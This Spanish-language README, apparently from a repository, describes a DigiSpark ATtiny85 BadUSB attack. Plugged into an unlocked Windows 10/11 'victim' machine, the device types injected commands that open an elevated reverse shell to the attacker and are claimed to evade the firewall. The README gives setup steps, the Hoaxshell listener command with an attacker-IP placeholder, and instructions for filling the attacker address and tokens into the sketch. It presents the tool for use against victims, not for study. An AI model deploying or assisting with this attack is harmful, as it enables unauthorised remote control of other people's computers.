📝 Descripción
Script para DigiSpark ATtiny85 que genera una shell inversa con permisos elevados desde una máquina Windows víctima hacia una máquina atacante, logrando evadir el firewall.
⚙️ Funcionamiento
El ataque se activa al conectar el dispositivo al puerto USB con la sesión iniciada: el DigiSpark emula un teclado e inyecta los comandos de forma automática, sin intervención del usuario, estableciendo la conexión con la máquina atacante la cual está escuchando solicitudes.
💻 Compatibilidad
Solo funciona correctamente bajo las siguientes condiciones:
- Sistema operativo victima: Windows 10/11
- Sesión activa: Escritorio desbloqueado y sesión iniciada
✅ Requerimientos
- Tener instalado Arduino IDE Ver Arduino IDE
- Instala los drivers que se encuentran en ruta config/drivers del repositorio (también puedes buscarlos manualmente si lo prefieres)
- Descargar e instalar DigiStump Board 1.6.7 a traves del Boards Manager de Arduino
https://raw.githubusercontent.com/digistump/arduino-boards-index/refs/heads/master/package_digistump_index.json - Este script fue creado para cambiar distribuciones de teclado, y es por esto que para que funcione debes copiar la carpeta DigisparkKeyboard del repositorio y pegarla en la siguiente ruta:
C:\Users\tu_usuario\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\Con esto podremos cambiar la linea #define kbd_es_es del script .ino para usar la distribucion de teclado que gustes.
- Descargar e instalar la herramienta Hoaxshell de su repositorio oficial (Seguir los pasos del repositorio):
git clone https://github.com/t3l3machus/hoaxshell
🚀 Uso
1. Ejecutar Hoaxshell.py
python3 ./hoaxshell.py -s IP_ATACANTE -r -H 'Authorization'
2. Copiar el token generado en $i y dejar ejecutandose.
3. Abrir Arduino y seleccionar Digispark 16.5 Board.
4. Dentro de Arduino, abrir el archivo .ino que se encuentra en la ruta script/script.ino del repositorio y modificar las siguientes variables:
- IP_AND_PORT_ATTACKER: Reemplazar por tu IP y puerto de atacante
- TOKEN: Reemplazar por el token generado por hoaxshell
- TOKEN_PART1: Reemplazar con la primera parte del token
- TOKEN_PART2: Reemplazar con la segunda parte del token
- TOKEN_PART3: Reemplazar con la tercera parte del token
- Opcional: #define kbd_es_es Puedes cambiar esta linea revisando las opciones en config/DigisparkKeyboard/Readme.md